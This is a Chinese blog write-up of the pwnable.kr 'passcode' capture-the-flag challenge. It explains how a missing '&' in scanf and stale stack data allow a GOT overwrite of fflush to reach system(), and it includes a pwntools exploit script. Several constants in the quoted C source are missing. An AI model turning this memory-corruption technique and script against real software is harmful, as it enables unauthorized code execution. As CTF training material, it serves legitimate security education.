【pwnable.kr】passcode
pwnable从入门到放弃,第六题。
ssh passcode@pwnable.kr -p2222 (pw:guest)
完全是‘&’的锅。
#include <stdio.h>
#include <stdlib.h> void login(){
int passcode1;
int passcode2; printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2); printf("checking...\n");
if(passcode1== && passcode2==){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit();
}
} void welcome(){
char name[];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
} int main(){
printf("Toddler's Secure Login System 1.0 beta.\n"); welcome();
login(); // something after login...
printf("Now I can safely trust you that you have credential :)\n");
return ;
}
查看整个流程的业务逻辑,貌似没有什么问题,按照提示给出的编译时出现了warning,现尝试编译:
发现,是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。
如何控制passcode?
首先可以看到在welcome函数中有一个name变量,利用scanf进赋值,但这个赋值是安全的,限定了赋值的长度是100个字大小。
并且,通过代码可以看到在执行了welcome函数后立即执行了login函数,中间没有压栈弹栈操作,也没有开alsr等保护,因此二者的ebp是相同的。而name数组长度是100,因此分配的栈块较大,并且passcode没有赋初值,
可以以栈内脏数据的方式时强行赋予passcode初值(传说中的野指针?)。
看一下长度,通过汇编代码看到name变量的起始地址为 EBP-0X70, passcode变量起始地址为EBP-0X10,相差0X60=96,恰巧还有4个字节用于覆盖passcode的值。
再通过输入passcode的值,就可以成功进行DWORD SHOOT。
由于在scanf后立即执行了flush函数,则可以精确覆盖GOT表中flush函数的入口地址,造成强行修改函数逻辑。
通过objdump -R ./passcode命令,可以看到其入口点
在利用gdb 查看system("/bin/cat flag"); 函数的地址,覆盖即可。
使用python pwntools库,可以轻易完成这样的操作。
在操作系统上只有/tmp文件夹是可以写的,因此将写好的脚本放入/tmp下运行即可。
import struct
import pwn
import subprocess addr = 0x0804a004
name = 'P'*96 + pwn.p32(addr) + str(0x80485e3) target = pwn.process('/home/passcode/passcode') #child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)])
target.send(name)
target.interactive()
最新文章
- Mysql基础(一)
- VS2013 密钥
- [linux] Nginx编译安装错误error: the HTTP rewrite module requires the PCRE library
- Oracle rowid
- jquery获取复选框(checkbox)的选中值(一组和单个)
- 【JUnit 报错】java.lang.NoClassDefFoundError: org/apache/logging/log4j/message/Message
- SSH自定义分页标签
- 分页技术之PageDataSource类
- asp.net 防止页面刷新或后退引起重复提交
- 为什么要web语义化
- BestCoder Round #14 B 称号 Harry And Dig Machine 【TSP】
- HTTP的一些基本概念
- .net core使用ViewComponent将页面图片转码成base64
- php中的implements 使用详解
- Python 浅拷贝copy()与深拷贝copy.deepcopy()
- JavaScript之radio遍历
- VsCode插件开发之入门示例
- ICCV2013 录用论文(目标跟踪相关部分)(转)
- 安装vue.js
- 使用Django来处理对于静态文件的请求
热门文章
- Linux centosVMware Vim介绍、vim颜色显示和移动光标、vim一般模式下移动光标、vim一般模式下复制、剪切和粘贴
- Day2-E-Catch That Cow-POJ3278
- ROS-4 : ROS节点和主题
- Django(十九)文件上传:图片上传(后台上传、自定义上传)、
- python中logging的使用
- python+ selenium + webdriver的环境准备
- GNS3 模拟icmp记录路由
- springboot整合quartz并持久化到数据库
- Java从.CSV文件中读取数据和写入
- 使用WinDbg分析蓝屏dump原因